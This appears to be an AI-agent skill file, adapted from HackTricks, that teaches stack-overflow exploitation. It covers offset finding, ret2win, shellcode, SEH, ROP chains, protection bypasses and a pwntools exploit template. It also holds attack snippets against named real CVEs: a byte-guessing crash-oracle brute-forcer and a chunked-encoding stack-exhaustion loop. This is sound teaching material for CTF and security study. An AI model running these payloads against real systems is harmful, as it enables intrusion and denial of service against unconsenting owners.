Hacktricks-skills stack-overflow-exploitation

How to analyze and exploit stack overflow vulnerabilities in binary programs. Use this skill whenever the user mentions stack overflows, buffer overflows, EIP/RIP control, return address manipulation, CTF binary exploitation, or needs help finding offsets and crafting exploits for vulnerable programs. This includes ret2win, shellcode placement, ROP chains, and analyzing real-world CVEs with stack-based vulnerabilities.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/binary-exploitation/stack-overflow/stack-overflow/SKILL.MD
source content

Stack Overflow Exploitation

A skill for analyzing and exploiting stack overflow vulnerabilities in binary programs.

What is a Stack Overflow

A stack overflow occurs when a program writes more data to the stack than allocated, overwriting adjacent memory including:

  • Saved instruction pointer (EIP/RIP) - controls where execution returns
  • Saved base pointer (EBP/RBP) - stack frame reference
  • Local variables - can be manipulated for logic bypasses

This happens with unsafe functions that lack bounds checking:

  • strcpy
    ,
    strcat
    ,
    sprintf
    ,
    gets
    (always vulnerable)
  • fgets
    ,
    read
    ,
    memcpy
    (vulnerable if length > buffer size)

Finding Stack Overflow Offsets

Step 1: Confirm the vulnerability exists

Send a large input of

A
s and look for a crash with
0x41414141
in registers:

python3 -c 'print("A"*1000)' | ./vulnerable_binary

A segmentation fault with EIP/RIP =

0x41414141
confirms the overflow.

Step 2: Find the exact offset to EIP/RIP

Use a De Bruijn sequence - a cyclic pattern where every n-byte subsequence appears exactly once. This lets you find the offset by searching for the value that overwrote EIP.

With pwntools:

from pwn import *

# Generate pattern
pattern = cyclic(1000)

# After crash, find the EIP value (e.g., 0x6161616c)
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value)
print(f"Offset to EIP: {offset}")

With GEF (GDB plugin):

# Generate pattern
pattern create 200

# After crash, search for the offset
pattern search $eip
pattern search "avaaawaa"  # or any substring from the crash

Exploitation Techniques

Ret2Win

When a binary contains a hidden "win" function that's never called:

  1. Find the offset to overwrite EIP/RIP
  2. Find the address of the win function (ASLR usually disabled)
  3. Overwrite return address with the function's address

Payload structure:

[padding to offset][address of win function]

Stack Shellcode

Place shellcode on the stack and redirect execution to it:

  1. Find offset to EIP/RIP
  2. Place shellcode in the buffer (after padding, before return address)
  3. Overwrite EIP/RIP with address of shellcode location

Payload structure:

[padding][shellcode][padding][address of shellcode]

Note: Requires executable stack (NX disabled). Use ROP if NX is enabled.

Windows SEH Overflow (32-bit)

On Windows, overflow the Structured Exception Handler chain:

  1. Overwrite nSEH (next SEH) with a short jump (e.g.,
    \xeb\xfe
    )
  2. Overwrite SEH pointer with a
    POP POP RET
    gadget
  3. Place shellcode before nSEH

Payload structure:

[padding][nSEH: short jmp][SEH: POP POP RET][shellcode]

ROP (Return-Oriented Programming)

Bypass NX (non-executable stack) by chaining existing instructions:

  1. Find gadgets ending in
    RET
    (e.g.,
    pop rdi; ret
    )
  2. Build a chain to set up function calls
  3. Call
    system("/bin/sh")
    or similar

Common ROP chain for

system("/bin/sh")
:

[padding]
[address of pop rdi; ret]
[address of "/bin/sh" in binary]
[address of system()]
[address of exit()]

Real-World Exploitation Patterns

Delimiter-Driven Multi-NUL Placement

When a parser uses delimiters (like

:
) and adds NUL terminators:

  • Each delimiter restarts parsing and adds a trailing NUL
  • Use multiple overlong tokens to place NUL bytes at different offsets
  • Critical for non-PIE binaries with addresses containing NUL bytes

Example (Grandstream CVE-2026-2329):

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:BBBBBBBBBBBBBBBBBBBBB:CCCCCCCCCCCCCCCCCCCC:DDDDDDDDDDD:EEE

Crash-Oracle Bruteforcing

When a service forks per request (same canary/stack layout):

  1. Use HTTP status code as oracle (200 = success, 502/crash = failure)
  2. Brute-force each byte serially
  3. Recover canary, stack pointer, and library base addresses

Example (Synology CVE-2025-12686):

def bf_next_byte(prefix):
    for guess in range(0x100):
        if send_request(prefix + bytes([guess])).status_code == 200:
            return bytes([guess])
    raise RuntimeError("oracle lost sync")

Chunked Transfer-Encoding Amplification

Force unbounded stack allocation via HTTP chunked encoding:

  1. Each chunk creates internal buffer segments
  2. Server allocates stack memory per segment
  3. Thousands of small chunks exhaust the stack

Example (NVIDIA Triton CVE-2025-23310):

for _ in range(523_800):
    s.send(b"1\r\nA\r\n")  # 6-byte chunk → 16-byte stack alloc

Common Protections and Bypasses

ProtectionWhat it doesBypass
ASLRRandomizes memory addressesInfo leak + brute force, or disable
NX/DEPMarks stack non-executableROP chains
Stack CanaryRandom value before return addressLeak canary, or overflow past it
PIEPosition-independent executableLeak base address

Workflow Checklist

When analyzing a stack overflow:

  1. Confirm vulnerability - Send large input, check for crash
  2. Find offset - Use De Bruijn sequence with pwntools or GEF
  3. Check protections - Run
    checksec
    or equivalent
  4. Choose technique:
    • No protections → simple shellcode
    • NX only → ROP chain
    • Canary → leak or brute force
    • ASLR/PIE → info leak needed
  5. Craft payload - Padding + exploit data + return address
  6. Test and iterate - Debug with GDB, adjust offsets

Tools Reference

  • pwntools - Python exploitation framework
  • GDB + GEF - Debugging with pattern generation
  • checksec - Check binary protections
  • objdump/readelf - Find function addresses and gadgets
  • ROPgadget - Find ROP gadgets in binaries

Example Exploit Template

from pwn import *

# Connect to target
p = process('./vulnerable')  # or remote('host', port)

# Find offset (run once, then hardcode)
# pattern = cyclic(1000)
# p.sendline(pattern)
# p.wait()
# offset = cyclic_find(crash_eip_value)

offset = 72  # Example offset
win_addr = 0x08048500  # Address of win function

# Craft payload
payload = b"A" * offset
payload += p32(win_addr)  # 32-bit
# payload += p64(win_addr)  # 64-bit

# Send exploit
p.sendline(payload)
p.interactive()

When to Use This Skill

Use this skill when:

  • You're working on a CTF binary exploitation challenge
  • You need to analyze a stack overflow vulnerability
  • You're crafting an exploit for a vulnerable program
  • You need to understand ret2win, shellcode, ROP, or SEH techniques
  • You're researching real-world CVEs with stack-based vulnerabilities
  • You need help finding offsets or understanding protection bypasses